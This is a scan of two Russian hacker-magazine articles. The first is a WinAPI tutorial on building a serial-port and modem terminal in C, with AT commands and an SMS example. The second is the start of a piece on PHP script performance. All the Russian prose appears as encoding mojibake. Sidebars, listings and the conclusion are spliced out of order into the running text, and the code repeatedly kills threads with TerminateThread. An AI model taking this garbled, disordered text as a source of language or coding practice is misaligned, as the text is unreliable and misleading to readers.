Ó ýòîé ôóíêöèè åñòü îäèí íþàíñ. Ïðè çàïóñêå îíà æäåò ïîÿâëåíèÿ çàäàííîãî êîëè÷åñòâà<br />

áàéò â ïîðòó. Åñëè ïðèõîäèò ìåíüøå îæèäàåìîãî, òî ôóíêöèÿ ïðîñòî íå âåðíåò óïðàâëåíèÿ<br />

ïðîãðàììå è áóäåò äîæèäàòüñÿ îñòàâøèõñÿ áàéò. ×òîáû óáðàòü òàêèå "çàâèñàíèÿ"<br />

èç ïðîãðàììû, ìû ìîæåì ñäåëàòü ñëåäóþùåå: â öèêëå ÷èòàòü ïî îäíîìó áàéòó èç<br />

ïîðòà è òîò÷àñ æå åãî âûâîäèòü. Íî â òî æå âðåìÿ ó íàñ íå ïîëó÷èòñÿ îäíîâðåìåííî ïèñàòü<br />

â ïîðò è ñ÷èòûâàòü. À âûõîä èç ñëîæèâøèéñÿ ñèòóàöèè ïðîñò! Íàì íàäî ñîçäàòü ïîòîê,<br />

òî åñòü ôóíêöèþ, ðàáîòàþùóþ ïàðàëëåëüíî ñ îñíîâíîé ïðîãðàììîé, â êîòîðûé ìû<br />

è ïîìåñòèì íàø öèêë ÷òåíèÿ. Äëÿ ýòîãî ìû îïðåäåëèì ôóíêöèþ è äîáàâèì â íåå öèêë:<br />

DWORD __stdcall ReadThread(LPVOID param){<br />

// ... òóò öèêë ÷òåíèÿ<br />

}<br />

À óæå èç ìåéíîâîé ôóíêöèè çàïóñòèì ïðè ïîìîùè WinAPI íàø ïîòîê:<br />

HANDLE hThread = CreateThread(0, 0, ReadThread, (LPVOID)0, 0, 0);<br />

È âðîäå áû âñå çàìå÷àòåëüíî: â îäíîì ïîòîêå ó íàñ èäåò ÷òåíèå è âûâîä, â äðóãîì<br />

(ãëàâíîì) - ìû ââîäèì äàííûå è ïîñûëàåì èõ â ïîðò. Íî òóò êðîåòñÿ åùå îäíà ïðîáëåìà.<br />

Íàì íåëüçÿ îäíîâðåìåííî ÷èòàòü è ïîñûëàòü äàííûå! Òî åñòü â òî âðåìÿ, ïîêà<br />

èç ïîðòà íè÷åãî íå ïðèøëî, è ReadFile ñïîêîéíî æäåò ñâîåãî áàéòèêà, ìû íå ìîæåì<br />

ïîñëàòü äàííûå. Êàê æå áûòü Ïðîñòî ïðåæäå ÷åì îòïðàâèòü óæå ââåäåííûå äàííûå,<br />

ìû êèëëàíåì ïîòîê. Óáüåì, ïîøëåì, à çàòåì ñíîâà ñîçäàäèì. È òàê êàæäûé ðàç,<br />

êîãäà çàõîòèì ïîñëàòü ÷òî-ëèáî â ïîðò. Óáèâàòü ïîòîê ìû áóäåì ïðè ïîìîùè ôóíêöèè<br />

TerminateThread, â ïåðâîì ïàðàìåòðå êîòîðîé ïåðåäàäèì óêàçàòåëü íà ïîòîê<br />

(hThread), à âî âòîðîì - êîä çàâåðøåíèÿ (0). Âûãëÿäèò âñå ýòî òàê:<br />

86<br />

// Óáèâàåì íèòü ÷òåíèÿ äàííûõ<br />

TerminateThread(hThread,0);<br />

// Îòïðàâëÿåì òåêñò<br />

WriteFile(hCom, writebuffer, strlen(writebuffer), &n1, 0);<br />

// Çàíîâî ñîçäàåì ïîòîê<br />

hThread = CreateThread(0, 0, ReadThread, (LPVOID)hwnd, 0, 0);<br />

Ïàðàìåòðû ïîðòà<br />

×èòàòü è ïèñàòü ìû íàó÷èëèñü :). Òåïåðü íàì íàäî íàó÷èòüñÿ ìåíÿòü ïàðàìåòðû ïîðòà.<br />

Ýòî ìîæíî ñäåëàòü â device manager, çàéäÿ â ñâîéñòâà óñòðîéñòâà, à ìîæíî è èç<br />

ñâîåé ïðîãðàììû. Âñå ïàðàìåòðû ïîðòà áóäóò õðàíèòüñÿ â îãðîìíîé ñòðóêòóðå ïîä<br />

íàçâàíèåì DCB. Âîò åå îñíîâíûå çíà÷åíèÿ:<br />

BaudRate - ñêîðîñòü ïîðòà. Ìîæåò ïðèíèìàòü çíà÷åíèÿ CBR_9600, CBR_19200,<br />

CBR_38400 è ò.ä.<br />

ByteSize - ðàçìåð áàéòà, âàðüèðóåòñÿ îò 4 äî 8. Íàì íåîáõîäèìî 8.<br />

Parity - ÷åòíîñòü. Íàì îíà íå íóæíà, ïîýòîìó ïðèñâàèâàåì defined-çíà÷åíèå NOPARITY.<br />

StopBits - ñòîïîâûå áèòû, ó íàñ - ONESTOPBIT.<br />

Ëåïèì êíîïêè<br />

Äëÿ òîãî ÷òîáû îòðåäàêòèðîâàòü ïàðàìåòðû, èõ íàäî ñíà÷àëà ïîëó÷èòü. Ïîýòîìó ìû<br />

âîñïîëüçóåìñÿ ôóíêöèåé GetCommState: â ïåðâîì àðãóìåíòå ïåðåäàåòñÿ õýíäë ïîðòà,<br />

à âî âòîðîì - ïåðåìåííàÿ òèïà ñòðóêòóðû DCB. Ïîñëå âûïîëíåíèÿ ôóíêöèè<br />

ñòðóêòóðà áóäåò çàïîëíåíà òåêóùèìè óñòàíîâêàìè ïîðòà. Òåïåðü ìû ìîæåì ñìåëî<br />

ðåäàêòèðîâàòü ëþáîé èç íèõ. Ïîñëå ðåäàêòèðîâàíèÿ ïàðàìåòðîâ èõ, åñòåñòâåííî,<br />

íàäî ñîõðàíèòü. Äëÿ ýòîãî ñîçäàíà ôóíêöèÿ SetCommState. Âîò òàê âûãëÿäèò êîä ðåêîíôèãóðàöèè<br />

â íàøåé ïðîãðàììå:<br />

DCB dcb;<br />

GetCommState(hCom, &dcb);<br />

dcb.BaudRate = CBR_57600;<br />

dcb.ByteSize = 8;<br />

dcb.Parity = NOPARITY;<br />

dcb.StopBits = ONESTOPBIT;


SetCommState(hCom, &dcb);<br />

Ñ ðàáîòîé ïîðòîâ ðàçîáðàëèñü. Òåïåðü íàïèøåì ãðàôè÷åñêóþ îáîëî÷êó äëÿ íàøåé<br />

ïðîãðàììû.<br />

Ïèøåì GUI<br />

 ïîñëåäíåå âðåìÿ ó ìíîãèõ íà÷èíàþùèõ ïðîãðàììèñòîâ ñëîæèëîñü âïå÷àòëåíèå, ÷òî<br />

ïèñàòü ïðîãðàììû, èñïîëüçóþùèå äèàëîãè (îêîøêè), áåç VCL èëè MFC î÷åíü ñëîæíî.<br />

À âñå èç-çà ñòåðåîòèïà, áóäòî ïðèõîäèòñÿ ïðîðèñîâàòü ðó÷êàìè êàæäóþ êíîïî÷êó. Íî<br />

ýòî ñîâñåì íå òàê. Íóæíî ïðîñòî èñïîëüçîâàòü ðåñóðñû. Íàïðèìåð, ïðè ïîìîùè òîãî<br />

æå Visual Studio ìû ñîçäàäèì äèàëîã, íàáðîñàåì íà íåãî ïðÿìî êàê â Delphi èëè C++<br />

Builder âñÿêèõ êíîïî÷åê è äðóãèõ íåîáõîäèìûõ íàì êîíòðîëîâ, à çàòåì ñîçäàäèì â íàøåé<br />

ïðîãðàììå ôóíêöèþ îáðàáîòêè ñîîáùåíèé. ×òî æ, ïðèñòóïèì.<br />

Äëÿ òîãî ÷òîáû ñëåïèòü æåëàåìûé äèàëîã, íàäî çàãðóçèòü íàø ïðîåêò â VS, ïåðåéòè â çàêëàäêó<br />

Resource View, à òàì êëèêíóòü ïðàâîé êíîïêîé ìûøêè è âûáðàòü Insert (èëè Add<br />

Resource äëÿ VS .NET). Òåáå ïðåäëîæàò ðàçíûå òèïû ðåñóðñîâ. Âûáèðàé Dialog. Ïîÿâèòñÿ<br />

ðåäàêòîð, î÷åíü ïîõîæèé íà ðåäàêòîð ôîðì â äåëüôÿõ. Ïîìåñòè drug`n`drop'îì íà äèàëîã<br />

äâå êíîïî÷êè: îäíó - äëÿ îòêðûòèÿ çàäàííîãî ïîðòà, äðóãóþ - äëÿ ïîñûëêè äàííûõ,<br />

è òðè EditBox'à. Îäèí - äëÿ ââîäà íàçâàíèÿ ïîðòà, îäèí - äëÿ ïîñûëàåìûõ äàííûõ è åùå<br />

îäèí (ïîáîëüøå) - äëÿ âûâîäà ÷èòàåìûõ äàííûõ. Íà ïîñëåäíåì íóæíî êëèêíóòü, âûáðàòü<br />

ñâîéñòâà, à â ñâîéñòâàõ âêëþ÷èòü äëÿ EditBox'à ïîëîñó ïðîêðóòêè è multiline, ò.ê. äàííûå<br />

áóäóò âûâîäèòüñÿ ïîñòðî÷íî. Ó êàæäîãî ïîìåùåííîãî òîáîé íà äèàëîã êîíòðîëà áóäóò<br />

ñâîè èäåíòèôèêàòîðû. Çàïîìíè ýòè íàçâàíèÿ, ñ èõ ïîìîùüþ ìû áóäåì âçàèìîäåéñòâîâàòü<br />

ñ äèàëîãîì èç ïðîãðàììû. Ïîñëå ñîõðàíåíèÿ â ïàïêå ñ ïðîåêòîì ïîÿâèòñÿ õèäåð<br />

resource.h, åãî ìû âêëþ÷èì â íàøó ïðîãðàììó:<br />

#include "resource.h"<br />

×òîáû ïîëó÷àòü äàííûå èç ïîëåé EditBox'à, ìû âîñïîëüçóåìñÿ ôóíêöèåé<br />

GetDlgItemText. Â ïåðâîì ïàðàìåòðå åé íàäî ïåðåäàòü äåñêðèïòîð îêíà, âî âòîðîì -<br />

èäåíòèôèêàòîð edit'à, â òðåòüåì - óêàçàòåëü íà ñòðîêîâûé áóôåð, â ïîñëåäíåì - êîëè-<br />

÷åñòâî ÷èòàåìûõ èç ïîëÿ ñèìâîëîâ. Ïîñëå çàïóñêà â áóôåðå (ïîä êîòîðûé ïåðåä èñïîëüçîâàíèåì<br />

ðåêîìåíäóåòñÿ âûäåëèòü ïàìÿòü) îêàæåòñÿ òî, ÷òî áûëî ââåäåíî â ïîëå<br />

ñ çàäàííûì èäåíòèôèêàòîðîì.<br />

Ê òîìó æå âñå äàííûå ïåðåäàþòñÿ îòêðûòûì òåêñòîì, áåç êàêèõ-ëèáî ñëîæíûõ êîäîâ<br />

è ò.ï. Ïåðâîå, ÷òî ÿ ïîñëàë, áûëî AT, ìîäåì âåðíóë OK. ß ïîïðîáîâàë ïàðó<br />

ñòðîê èíèöèàëèçàöèè, âñå ïðîøëè íà óðà. Ïîòîì âñïîìíèë åùå íåñêîëüêî èíòåðåñíûõ<br />

êîìàíä, íàïðèìåð òàêèõ:<br />

ATDPíîìåð - çâîíèò ïóëüñîì ïî íîìåðó (T - òîíîâûé íàáîð)<br />

ATI3 - âûäàåò âåðñèþ ìîäåìà<br />

ATI7 - âûäàåò íàçâàíèå ìîäåìà<br />

ATH0 - âåøàåò òðóáêó<br />

ATH1 - ñíèìàåò òðóáêó è ïîäêëþ÷àåòñÿ ê ëèíèè<br />

Åñëè çàõî÷åøü óçíàòü ïîáîëüøå êîìàíä, ïîðîéñÿ<br />

â äîêóìåíòàöèè ñâîåãî ìîäåìà. Íî è ýòî<br />

åùå íå âñå. Ñåé÷àñ ïðàêòè÷åñêè ó âñåõ åñòü ìîáèëüíèêè,<br />

è ó ìíîãèõ èìååòñÿ êîìîâñêèé ïðîâîä<br />

äëÿ ñèíõðîíèçàöèè ìîáèëüíîãî òåëåôîíà<br />

ñ êîìïüþòåðîì. Òàê âîò, â êàæäîì òåëåôîíå<br />

ñóùåñòâóåò GSM-ìîäåì, à ýòî î÷åíü èíòåðåñíàÿ<br />

øòóêà. Ïîìèìî îáû÷íûõ ôóíêöèé ìîäåìà,<br />

îí ìîæåò îòïðàâëÿòü SMS. Âîò êàê ýòî ñäåëàòü<br />

ïðè ïîìîùè íàøåé ïðîãðàììû:<br />

AT+CMGS="+79033133373"<br />

Îáùàåìñÿ ñ ìîäåìîì<br />

Ìîäåì îòâåòèò. Çàòåì òû ââåäåøü òåêñò ñîîáùåíèÿ ñ ñèìâîëîì '\x1A' íà êîíöå, à ìîäåì<br />

îòïðàâèò ýòó ìåññàãó íà íîìåð +79033133373.<br />

Break<br />

Ïðîåêò äëÿ Visual Studio .NET, ïîëíûé èñõîäíûé òåêñò ïðîãðàììû c ïîäðîáíûìè êîììåíòàðèÿì<br />

è óæå ñêîìïèëèðîâàííûé exe’øíèê òû ìîæåøü âçÿòü íà äèñêå èëè ñêà÷àòü<br />

ñ ñàéòà www.xakep.ru. Íàâåðíÿêà ó íàïèñàííîé íàìè ïðîãðàììû åñòü åùå è äðóãèå<br />

ïðèìåíåíèÿ. Òàê ÷òî ýêñïåðèìåíòèðóé, à åñëè ïðèäóìàåøü ÷òî-íèáóäü îðèãèíàëüíîå,<br />

òî íàïèøè ìíå îá ýòîì.<br />

Íà ýòîì âñå. Óäà÷íîãî êîìïèëèðîâàíèÿ.<br />

Òåïåðü íàì íàäî íàó÷èòüñÿ îáðàáàòûâàòü ñîáûòèÿ, âûïîëíÿþùèåñÿ ïîñëå íàæàòèÿ íà<br />

òó èëè èíóþ êíîïêó. Äëÿ ýòîãî ñîçäàäèì ôóíêöèþ îáðàáîòêè ñîîáùåíèé. Îíà áóäåò<br />

ëîâèòü ñîîáùåíèå îêíó-ðîäèòåëþ WM_COMMAND. Ôóíêöèÿ îïèñûâàåòñÿ òàê:<br />

int Dlg_Proc(HWND hwnd, UINT wMsg, WPARAM wParam, LPARAM lParam);<br />

ãäå hwnd - ýòî äåñêðèïòîð îêíà, êîòîðîìó ïðèøëî ñîîáùåíèå, wMsg - çàðåãèñòðèðîâàííûé<br />

íîìåð ñîîáùåíèÿ (íàïðèìåð, WM_COMMAND), à wParam è lParam - äâà ïàðàìåòðà,<br />

íàõîäÿùèõñÿ â ñîîáùåíèè. Âíóòðè ôóíêöèè ìû áóäåì ñðàâíèâàòü wMsg è<br />

WM_COMMAND. Åñëè îíè áóäóò ðàâíû, çíà÷èò, íà ýòó êíîïêó íàæàëè. Èäåíòèôèêàòîð<br />

êíîïêè íàõîäèòñÿ â íèæíåì "ñëîâå" ïðàâîãî ïàðàìåòðà (LOWORD(wParam)). Äëÿ òîãî<br />

÷òîáû ñîçäàòü ñîáûòèå íàæàòèÿ ýòîé êíîïêè, ìû äîëæíû ñðàâíèòü ïîëó÷åííûé èäåíòèôèêàòîð<br />

ñ èìåþùèìñÿ ó íàñ, è åñëè îíè ðàâíû - âûïîëíèòü íóæíûé íàì êîä. Ïîñêîëüêó<br />

êíîïîê è ïðèíèìàåìûõ ñîîáùåíèé â ïðîãðàììàõ îáû÷íî íåìàëî, ïðèíÿòî<br />

ïðîèçâîäèòü ñðàâíåíèå â áëîêå switch.<br />

Ôóíêöèþ îáðàáîòêè ñîîáùåíèé íàïèñàëè, îñòàëîñü òîëüêî âûçâàòü èç ïðîãðàììû ñàìóþ<br />

ãëàâíóþ ôóíêöèþ, êîòîðàÿ ñîçäàñò ïðè çàïóñêå îêíî èç íàøåãî ðåñóðñà è ïðèêðóòèò<br />

ê íåìó Dlg_Proc. Ôóíêöèÿ íàçûâàåòñÿ DialogBox è â ïðîãðàììå çàïóñêàåòñÿ<br />

ñëåäóþùèì îáðàçîì:<br />

DialogBox(hinst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, Dlg_Proc);<br />

IDD_DIALOG1 - èäåíòèôèêàòîð ðåñóðñà äèàëîãà, à Dlg_Proc - ñîçäàííàÿ íàìè ôóíêöèÿ<br />

äëÿ ñîîáùåíèé. Ýòó ñòðîêó ïîñòàâèì â ãëàâíûé ïîòîê (WinMain), è âîò, GUI äëÿ íàøåé<br />

òåðìèíàëüíîé ïðîãðàììû ïîëíîñòüþ çàâåðøåí. Ñîáèðàåì âñå âìåñòå (ñì. ëèñòèíã),<br />

è íàøà ïðîãðàììà ãîòîâà. Ïîðà ïðîâåðèòü åå â äåéñòâèè.<br />

Òåñòèðóåì<br />

Îáùàåìñÿ ÷åðåç NULL-ìîäåì<br />

Ïåðâîå, ÷òî ïðèøëî ìíå â ãîëîâó, ïîïðîáîâàòü<br />

íàøó ïðîãðàììó â êà÷åñòâå<br />

÷àòà, ïðè÷åì îáû÷íîãî null-ìîäåìíîãî.<br />

ß âçÿë com2com ïðîâîä è ñîåäèíèë<br />

èì âûõîäû ïîðòîâ com1 è<br />

com2. Ïîñëå ÷åãî çàïóñòèë äâå êîïèè<br />

ïðîãðàììû, îäíîé îòêðûâ com1, à<br />

äðóãîé - com2. Âûøëî î÷åíü óäà÷íî:<br />

äàííûå, ïîñëàííûå â îäèí ïîðò, óñïåøíî<br />

÷èòàëèñü èç äðóãîãî. Íà ýòîì ÿ<br />

íå îñòàíîâèëñÿ. Ïîñêîëüêó èçíà÷àëüíî<br />

ìû ïèñàëè òåðìèíàëüíóþ ïðîãðàììó<br />

äëÿ ìîäåìà, òî è ïðîòåñòèðóåì<br />

åå íà ìîäåìå. Ýòî íåñëîæíî, ïðîòîêîë<br />

îáùåíèÿ ñ ìîäåìîì òàêîé:<br />

\r<br />

\r\r<br />

Ëèñòèíã îêîííîé ïðîöåäóðû<br />

int __stdcall Dlg_Proc(HWND hwnd, UINT wMsg, WPARAM wParam, LPARAM<br />

lParam)<br />

{<br />

switch (wMsg){<br />

case WM_CLOSE:<br />

EndDialog(hwnd,1);<br />

break;<br />

case WM_COMMAND:<br />

switch (LOWORD(wParam)) {<br />

case IDC_BUTTON1:<br />

// Íàæàëè íà êíîïêó îòïðàâêè äàííûõ<br />

// Âûäåëÿåì ïàìÿòü ïîä áóôåðû<br />

writebuffer = (char*)malloc((size_t)128);<br />

memset(writebuffer,0,128);<br />

// ïîëó÷àåì òåêñò èç ïîëÿ<br />

GetDlgItemText(hwnd,IDC_EDIT1,writebuffer,128);<br />

writebuffer[strlen(writebuffer)] = '\r';<br />

writebuffer[strlen(writebuffer)] = '\0';<br />

// îòïðàâëÿåì<br />

TerminateThread(hThread,0);<br />

WriteFile(hCom, writebuffer,<br />

strlen(writebuffer),&n1,0); // Îòïðàâëÿåì òåêñò<br />

// Çàíîâî ñîçäàåì íèòü<br />

hThread = CreateThread(0, 0, ReadThread, (LPVOID)hwnd, 0, 0);<br />

break;<br />

case IDC_BUTTON2:<br />

// Íàæàëè íà êíîïêó îòêðûòèÿ ïîðòà<br />

combuffer = (char*)malloc((size_t)16);<br />

memset(combuffer,0,16);<br />

// Ïîëó÷àåì èìÿ ïîðòà è îòêðûâàåì åãî<br />

GetDlgItemText(hwnd,IDC_EDIT2,combuffer,16);<br />

hCom = CreateFile(combuffer, GENERIC_READ | GENERIC_WRITE,<br />

0, 0, 3, 0, 0);<br />

hThread = CreateThread(0, 0, ReadThread, (LPVOID)hwnd, 0, 0);<br />

// íàñòðàèâàåì åãî<br />

GetCommState(hCom, &dcb);<br />

dcb.BaudRate = CBR_57600;<br />

dcb.ByteSize = 8;<br />

dcb.Parity = NOPARITY;<br />

dcb.StopBits = ONESTOPBIT;<br />

SetCommState(hCom, &dcb);<br />

break;<br />

}<br />

break;<br />

}<br />

return false;<br />

}<br />

87


Êîäèíã<br />

BANNERBANK ÇÀ 24 ×ÀÑÀ<br />

Bannerbank<br />

Nikita Kislitsin (nikitoz@real.xakep.ru)<br />

http://nikitos.inc.ru<br />

çà 24 ÷àñà<br />

Çíàåøü, âî ÷òî ðàíî èëè ïîçäíî óòûêàåòñÿ ëþáîé ñåðüåçíûé ïðîåêò Â äåíüãè. Ýíòóçèàçìà<br />

íà áåçâîçìåçäíóþ ðàáîòó íàä ñàéòîì óæå íå õâàòàåò, êàæäûé ìåñÿö íàäî îòäàâàòü<br />

äåíüãè çà õîñòèíã, à áðîñèòü âñå ê ÿäðåíîé ìàòåðè ìåøàåò óæå ïîòðà÷åííîå âðåìÿ è<br />

ìûñëè, âðîäå: "ß ÷òî - èäèîò! Ïîòðàòèë ïîëãîäà æèçíè - è âñå äëÿ ÷åãî, äëÿ òîãî, ÷òîáû<br />

çàáèòü íà ïðîåêò è âñïîìèíàòü ñ ñîæàëåíèåì î íåäîñòèãíóòîì óñïåõå". Íåò óæ, äîðîãîé,<br />

ñ ñàéòà íàäî çàðàáàòûâàòü äåíüãè, ïîäáàäðèâàÿ ñåáÿ áîëåå îïòèìèñòè÷íûìè<br />

ðàçìûøëåíèÿìè: "Âîò äîïèøó ýòó áàííåðíóþ ñèñòåìó è áóäó äåíüãè ëîïàòîé ãðåñòè,<br />

êóïëþ 250-ëèòðîâóþ áî÷êó Ãèííåñà, BMW Z3, âèëëó íà Êèïðå, áîåâîé âåðòîëåò è ïîêàæó<br />

àìåðèêîñàì, ãäå ðàêè çèìóþò!". Ïîíåñëàñü :)<br />

Nikita Kislitsin (nikitoz@real.xakep.ru) http://nikitos.inc.ru<br />

Óïîð ëåæà<br />

Íå ïîäóìàé íè÷åãî ïëîõîãî - ÿ íå ñîáèðàþñü ðàññêàçûâàòü òåáå â òðåòèé ðàç, êàê<br />

ðàáîòàòü ñ áàçàìè äàííûõ :). Ýòî ìû óæå óìååì. Â ñåãîäíÿøíåì ìàòåðèàëå ÿ áû õîòåë<br />

îñâåòèòü âàæíûé àñïåêò âåá-, äà è, âïðî÷åì, ëþáîãî ïðîãðàììèðîâàíèÿ - ïðîèçâîäèòåëüíîñòü<br />

ðàçðàáîòàííûõ ñöåíàðèåâ. Òóò âñå, êîíå÷íî æå, íåîäíîçíà÷íî è<br />

çàâèñèò îò ìíîæåñòâà ôàêòîðîâ - è îò ïðîèçâîäèòåëüíîñòè ñåðâåðà, è îò óñòàíîâëåííîé<br />

íà íåì ñèñòåìû, è îò âûïîëíÿåìûõ îïåðàöèé, è îò ñòðóêòóðû ñàìîãî àëãîðèòìà,<br />

è îò ïàðàìåòðîâ îêðóæåíèÿ ñöåíàðèÿ. Ôàêòîðîâ ìíîãî, íà ïîëîâèíó èç íèõ<br />

òû ìîæåøü ïîâëèÿòü ëèøü êîñâåííî - äîñòàâàÿ ñèñàäìèíà áåñêîíå÷íûì ñïàìîì â<br />

åãî mailbox, íî îñòàâøèåñÿ 50% ïîëíîñòüþ âèñÿò íà òâîåé ñîâåñòè. ×åì ÷ðåâàòû<br />

ñöåíàðèè ñ íèçêîé ïðîèçâîäèòåëüíîñòüþ, è êàê âîîáùå îïðåäåëèòü ñêîðîñòü ðàáîòû<br />

òîãî èëè èíîãî ñêðèïòà Íó, ñêàæåì, åñëè ðå÷ü èäåò î ñàéòå ñ ïîñåùàåìîñòüþ<br />

10 ÷åëîâåê â ñóòêè, òî íåò íèêàêîãî ñìûñëà âîçèòüñÿ ñ àëãîðèòìàìè, âûèãðûâàÿ ýòè<br />

æàëêèå 10-30%. Îäíàêî æå, åñëè ðå÷ü èäåò, íàïðèìåð, î ñåðüåçíîì êîììåð÷åñêîì<br />

ïðîåêòå, ðåçóëüòàò îòêàçà ñîçäàííîé ñèñòåìû ïîâëå÷åò çà ñîáîé íå÷òî óæàñíîå. Âûèãðàííûå<br />

20% áóäóò î÷åíü êñòàòè - ýòî óæå ñåêóíäû ïðîöåññîðíîãî âðåìåíè, ìåãàáàéòû<br />

ïàìÿòè, ñîòíè ïîëüçîâàòåëåé, êîòîðûì íå áûëî îòêàçàíî â îáñëóæèâàíèè,<br />

ò.å. â èòîãå âûèãðàííûå äåíüãè. Îñîáåííî àêòóàëüíà ýòà ïðîáëåìà â íàøåì ñåãîäíÿøíåì<br />

ïðèìåðå - áàííåðîïîêàçíîé ñèñòåìå. Âåäü åñëè âäðóã ïåðåñòàíóò ïîêàçûâàòüñÿ<br />

áàííåðû ïàðòíåðîâ è çàêàç÷èêîâ, íè÷åãî õîðîøåãî æäàòü íå ïðèäåòñÿ. Êðîìå<br />

òîãî, â ïîäîáíûõ ñèñòåìàõ áîëüøàÿ íàãðóçêà íå ðåäêîñòü, à ðåàëèè æèçíè. Êîíå÷íî,<br />

èíòåðïðåòèðóåìûé ïõï íå ñìîæåò ñðàâíèòüñÿ ïî ñêîðîñòè, ñêàæåì, ñ êîìïèëèðóåìûì<br />

cpp-ïðèëîæåíèåì äëÿ âåáñåðâåðà, íî îòêàçûâàòüñÿ îò ïðèáàâêè â 10-<br />

30% áûëî áû ãëóïî.<br />

Ìåòîä èçìåðåíèÿ ïðîèçâîäèòåëüíîñòè ñöåíàðèÿ ïðîñò. Âû÷èñëÿåòñÿ âðåìÿ, çà êîòîðîå<br />

ïðîãðàììà âûïîëíèëà íåêîòîðûé áëîê êîäà. Íàïðèìåð, ïðîøëà öèêë, îáðàáîòàëà<br />

sql-çàïðîñ èëè íàøëà íóæíûé ýëåìåíò â ìàññèâå. Ýòî, êîíå÷íî, íå òî÷íûé<br />

ñïîñîá, âåäü âðåìÿ îáðàáîòêè ñöåíàðèÿ çàâèñèò îò âíåøíåé çàãðóçêè ñèñòåìû - âåëè÷èíû<br />

äèíàìè÷åñêîé è íèêàê íå ñâÿçàííîé ñ ðàññìàòðèâàåìûì ïðèëîæåíèåì. Ïîýòîìó<br />

ÿ áóäó ðàññìàòðèâàòü òðè èçìåðåíèÿ ïîëó÷åííûõ çíà÷åíèé, îòëè÷àþùèåñÿ<br />

äðóã îò äðóãà íå áîëåå ÷åì íà 15%, è ïðèíèìàòü çà ðåçóëüòàò èõ ñðåäíåå àðèôìåòè÷åñêîå.<br />

Çàìåð âðåìåíè âûïîëíåíèÿ ïðîãðàììû ÿ îñóùåñòâëÿþ ïðè ïîìîùè ñëåäóþùåé<br />

ôóíêöèè:<br />

<<br />

function mt(){<br />

$ti=explode(" ",microtime());<br />

return ($ti[0] + $ti[1]);<br />

}<br />

><br />

Ïîÿñíþ. Ôóíêöèÿ microtime() âîçâðàùàåò ñòðîêó, ñîñòîÿùóþ èç äâóõ ÷èñåë, ðàçäåëåííûõ<br />

ïðîáåëîì. Ïîñëåäíåå ïîêàçûâàåò êîëè÷åñòâî ñåêóíä, ïðîøåäøèõ ñ íà÷àëà<br />

"ýïîõè", ïåðâîå, ñîîòâåòñòâåííî, óêàçûâàåò íà äðîáíóþ ÷àñòü ýòîé âåëè÷èíû. Ðàçðåçàÿ<br />

ïî ïðîáåëó ýòó ñòðîêó â ìàññèâ è ñêëàäûâàÿ âåëè÷èíû, ïîëó÷àåì äåéñòâèòåëüíîå<br />

÷èñëî, êîòîðîå ðàñòåò ïàðàëëåëüíî ïðîøåäøåìó âðåìåíè.<br />

Ñîîòâåòñòâåííî, âû÷èñëÿÿ ýòîò ïàðàìåòð äî è ïîñëå íåêîòîðîãî áëîêà, ïîëó÷àåì<br />

âðåìÿ, çà êîòîðîå èíòåðïðåòàòîð åãî îáðàáîòàë. Òåñòèðîâàíèå ïðîèçâîäèëîñü íà<br />

ñåðâåðå 2xPIII 533MHz, 768Mb ECC RAM, 2x45Gb ATA100 HDD ïîä FreeBSD 4.7 ñ<br />

Apache 1.3.27 è PHP 4.3.<br />

Íî äîâîëüíî ñëîâ, ïåðåéäåì ê ïðàêòè÷åñêèì ñîâåòàì ïî îðãàíèçàöèè php-ñöåíàðèåâ<br />

íàèáîëåå ýôôåêòèâíûì îáðàçîì. Ê ñëîâó, òû íàâåðíÿêà çàìåòèë, ÷òî â ïõï ìíîæåñòâî<br />

ôóíêöèé èìåþò íàçâàíèÿ-ñèíîíèìû. Êàê ÿ âûÿñíèë, ýòî íå ñîâñåì àëèàñû.<br />

Ôóíêöèè ðàáîòàþò ïî ïðèíöèïèàëüíî ðàçëè÷íûì àëãîðèòìàì, ò.å. êàêàÿ-òî â îïðåäåëåííûõ<br />

óñëîâèÿõ áûñòðåå, êàêàÿ-òî ìåäëåííåå. Êðîìå òîãî, êàê îêàçàëîñü, çàïèñü<br />

ñèíòàêñè÷åñêèõ âûðàæåíèé òàêæå ìîæåò îêàçûâàòü ñóùåñòâåííîå âëèÿíèå íà ýôôåêòèâíîñòü<br />

ñöåíàðèÿ. Âñå ýòè ñåêðåòû íèæå :).<br />

Top secret<br />

Íàäî ñêàçàòü, ÷òî âñå íèæåïðèâåäåííûå äàííûå ÿâëÿþòñÿ ïëîäàìè ìîèõ ýêñïåðèìåíòîâ.<br />

Ýòî ôàêòè÷åñêèé ìàòåðèàë, ñïîðèòü ñ êîòîðûì áåñïîëåçíî :). ß íå ïðåòåíäóþ<br />

íà êàêóþ-òî îáúåêòèâíîñòü, ò.ê. óñëîâèÿ òåñòèðîâàíèÿ áûëè äàëåêè îò ëàáîðàòîðíûõ,<br />

íî òîò, êòî ñêàæåò, ÷òî óñêîðåíèå ðàáîòû ñöåíàðèÿ íà 40% - ìåëî÷ü, è ìîæíî<br />

ñïèñàòü ýòî íà ïîãðåøíîñòü èçìåðåíèé, ïóñòü ïåðâûé áðîñèò â ìåíÿ êàìåíü :).<br />

Èòàê, ïîåõàëè.<br />

1) Ìåíüøå ñèìâîëîâ â èìåíè ïåðåìåííîé - áûñòðåå ñöåíàðèé. Ýêîíîìèì 10%!<br />

Ïðîñòîé òåñò - öèêë ñ òûñÿ÷üþ èòåðàöèé, äîïèñûâàþùèé ê ïåðåìåííîé ñòðî÷êó èç<br />

9 ñèìâîëîâ:<br />

Èìÿ ïåðåìåííîé Âðåìÿ ðàáîòû %<br />

$x 0.00382800 88.35%<br />

$xxxxxxxxx 0.00384901 88.83%<br />

$30 ðàç x 0.00433300 100%<br />

Íåñëîæíî çàìåòèòü ýêîíîìèþ - âðåìÿ âûïîëíåíèÿ àëãîðèòìà íåëèíåéíî âîçðàñòàåò<br />

ñ ðîñòîì äëèíû èìåí èñïîëüçóåìûõ ïåðåìåííûõ. Î÷åâèäíî, ýêîíîìèÿ áóäåò íàìíîãî<br />

áîëüøå, åñëè âçÿòü ïðèìåð ïðîãðàììû, ãäå ïåðåìåííûõ, ñêàæåì, 10, è âûïîëíÿþòñÿ<br />

áîëåå ñëîæíûå îïåðàöèè. Îäíàêî è ñ óêîðà÷èâàíèåì èìåí íå ñòîèò îñîáî<br />

óñåðäñòâîâàòü - ïåðåìåííûå òèïà $a23 ñèëüíî ñíèæàþò óäîáî÷èòàåìîñòü êîäà :).<br />

2) Âûíîñ ñòðîêîâûõ ïåðåìåííûõ èç êàâû÷åê - ýêîíîìèÿ äî 40%!<br />

